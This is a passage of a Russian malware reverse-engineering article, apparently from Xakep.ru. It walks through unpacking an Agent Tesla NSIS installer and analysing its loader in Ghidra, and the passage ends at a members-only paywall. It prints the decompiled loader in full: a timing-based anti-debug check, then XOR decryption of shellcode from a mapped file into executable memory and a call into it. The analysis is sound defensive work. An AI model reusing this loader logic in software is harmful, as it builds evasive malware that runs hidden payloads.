Содержание статьи
Кроме того, мы столкнемся:
- с распаковкой инсталлятора NSIS и анализом полученного инсталляционного скрипта, который нам поможет в распаковке;
- поиском функции
main
при ее обвязке в CRT (можно будет удивиться, сколько кода неявно закидывает компилятор в .exe); - расшифровкой и дампингом шелл‑кода и предварительным поиском его по функции выделения памяти;
- правильной загрузкой полученного шелл‑кода в дизассемблер.
В этот раз я отойду от своей традиции использовать IDA Pro для реверсинга: вместо этого возьмем Ghidra. С момента ее выпуска прошло уже несколько лет, она обзавелась внушительным списком багфиксов и новых фич, к тому же она бесплатна и постоянно обновляется.
info
В прошлый раз я писал о Ghidra в 2019 году, когда этот инструмент только‑только стал доступен широкой публике.
Подготовительные работы
Начинаем этап предварительной разведки: закидываем семпл в детектор пакеров и протекторов DiE. Выясняем, что малварь поставляется в виде инсталлятора NSIS.
Извлекаем содержимое инсталлятора и получаем несколько файлов. Обрати внимание, что среди распакованных файлов должен быть скрипт NSIS, который содержит полезную информацию. Для распаковки я использовал устаревшую версию 7-Zip (поддержка извлечения скриптов начинается с версии 4.42 и прекращается в версии 15.06).
В этой части скрипта мы видим список файлов в инсталляторе и параметры запуска единственного .exe (это интересно и пригодится нам в дальнейшем). Среди прочих данных скрипта есть путь установки InstallDir
. Теперь посмотрим на PE-файл в DiE.
Видно, что файл написан на C/C++, скомпилирован для 32-битных систем и, судя по не особенно высокой энтропии, не запакован. Пришло время загрузить его в Ghidra.
Реверсим
Среди функций, перечисленных в таблице импорта, есть упоминание VirtualAlloc
. Она‑то нас и интересует, потому что малварь часто использует ее для выделения памяти под распаковку. Восстанавливаем перекрестную ссылку и видим функцию, в которой она вызывается.
Мы могли бы попробовать пойти «быстрым» путем: загрузить вредонос в отладчик, поставить бряк на VirtualAlloc
и... обломаться, потому что Agent Tesla завершится раньше бряка. Поэтому всегда советую в первую очередь осмотреть интересные вызовы и прилегающий к ним код в статике.
Функция небольшая, приведу листинг декомпилятора Ghidra полностью. Тем более что она нам интересна почти вся.
BOOL FUN_00401300(undefined4 param_1,undefined4 param_2,LPCSTR param_3){ DWORD DVar1; DWORD DVar2; BOOL BVar3; HANDLE hFile; HANDLE hFileMappingObject; LPVOID _Src; code *_Dst; int local_8; DVar1 = GetTickCount(); Sleep(702); DVar2 = GetTickCount(); if (DVar2 - DVar1 < 700) { BVar3 = 0; } else { hFile = CreateFileA(param_3,0x80000000,1,0x0,3,0x80,0x0); if (hFile == 0xffffffff) { BVar3 = 0; } else { hFileMappingObject = CreateFileMappingA(hFile,0x0,2,0,0,0x0); if (hFileMappingObject == 0x0) { CloseHandle(hFile); BVar3 = 0; } else { _Src = MapViewOfFile(hFileMappingObject,4,0,0,0x1de0); if (_Src == 0x0) { CloseHandle(hFileMappingObject); CloseHandle(hFile); BVar3 = 0; } else { _Dst = VirtualAlloc(0x0,0x1de0,0x1000,0x40); if (_Dst == 0x0) { UnmapViewOfFile(_Src); CloseHandle(hFileMappingObject); CloseHandle(hFile); BVar3 = 0; } else { FID_conflict:_memcpy(_Dst,_Src,0x1de0); for (local_8 = 0; local_8 < 0x16c2; local_8 = local_8 + 1) { _Dst[local_8] = _Dst[local_8] ^ s_248058040134_0041c2a4[local_8 % 0xc]; } (*_Dst)(); VirtualFree(_Dst,0,0x8000); UnmapViewOfFile(_Src); CloseHandle(hFileMappingObject); BVar3 = CloseHandle(hFile); } } } } } return BVar3;}
Здесь сразу бросаются в глаза строки кода, содержащие простую антиотладку:
DVar1 = GetTickCount();Sleep(702);DVar2 = GetTickCount();if (DVar2 - DVar1 < 700) { BVar3 = 0;}else {
Это известный антиотладочный прием, который проверяет скорость выполнения кода. Если код выполняется слишком медленно (замеряем время выполнения в миллисекундах при помощи двух вызовов GetTickCount
), переменная BVar3
принимает значение 0, и программа завершается.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»